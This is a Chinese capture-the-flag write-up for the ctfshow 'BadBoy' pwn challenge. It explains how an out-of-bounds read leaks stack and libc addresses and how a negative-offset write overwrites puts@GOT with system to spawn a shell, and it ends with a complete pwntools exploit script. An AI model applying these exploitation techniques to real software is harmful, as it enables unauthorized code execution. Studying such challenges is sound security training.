【pwn】ctfshow元旦水友赛--BadBoy

首先先来看一下程序的保护情况

这里got表可改,没有开地址随机

接着看一下ida逻辑

很直接,只有一个main函数,一点点分析这段代码

buf[1] = __readfsqword(0x28u);

  init_func(argc, argv, envp);

  buf[0] = 'gfedcba';

  v5 = 0LL;

  while ( (_DWORD)kl )

  {

    puts("i am bad boy ");

    __isoc99_scanf("%ld", &v4);

    write(1, (char *)buf + v4, (unsigned int)kl);

    LODWORD(kl) = kl - 3;

  }

首先这一段设计的非常巧妙,kl的值是6,说明while循环可以执行两次,第一次只能泄露出6字节的值,第二次可以泄露3字节,然后buf地址的偏移是0x10,我们可以gdb看一下

可以发现第一个绿线是buf地址,第二个绿线可以泄露libc地址,第三个绿线可以泄露出栈地址

以下是泄露的exp:

io.sendlineafter("i am bad boy \n",str(40))

stack_addr=u64(io.recv(6).ljust(8,b'\x00'))

print(hex(stack_addr))

io.sendlineafter("i am bad boy \n",str(24))

libc_start_call_main = u64(io.recv(3).ljust(8,b'\x00'))

print("libc_start_call_main"+hex(libc_start_call_main))

libc地址其实3个字节就够用了

然后又可以往buf地址写个3个字节的值,这里我们只能写出'sh/x00'

接着修改puts_got的内容,修改成system函数,最后再调用puts(buf)的时候就可以达到getshell的目的

 __isoc99_scanf("%lld", &v5);

  if ( v5 > 8 )

    exit(0);

  printf("HaHaHa ");

  read(0, (char *)buf + v5, 3uLL);

  puts((const char *)buf);

  return 0;

ida代码中这个v5的值是可以输入负数,于是我们可以输入负数来实现got表的数据写入,我们只需要知道buf地址,以及puts_got的地址,buf地址可以通过泄露的栈地址减去0xf8来确定

puts_got的地址如下:

然后我们就要来解决system函数的问题,我们现在是可以往puts_got的地址处写入3字节的值,其实已经完全足够,因为其它5个字节都是随机生成的基址

首先我们先libc_start_main-231确定到libc_start_main函数的地址,然后减去libc_start_main函数偏移得到后3字节的基地址,再加上system的偏移就是system函数后3字节的真实地址

完整exp如下:

from pwn import *

context(os='linux',arch='amd64',log_level='debug')

#io=remote("pwn.challenge.ctf.show",28202)

io=process("./pwn")

elf=ELF("./pwn")

libc=elf.libc

io.sendlineafter("i am bad boy \n",str(40))

stack_addr=u64(io.recv(6).ljust(8,b'\x00'))

print(hex(stack_addr))

io.sendlineafter("i am bad boy \n",str(24))

libc_start_call_main = u64(io.recv(3).ljust(8,b'\x00'))

print("libc_start_call_main"+hex(libc_start_call_main))

io.sendlineafter(b"because i'm not girl ",b'sh\x00')

puts_got_addr=-(stack_addr-0xf8-0x601018)

print("puts_got_addr"+hex(puts_got_addr))

io.sendlineafter(b"so can you fell me? ",str(puts_got_addr))

system_addr=libc_start_call_main-231-libc.sym['__libc_start_main']+libc.sym["system"]

io.sendlineafter(b"HaHaHa ",p64(system_addr))

io.interactive()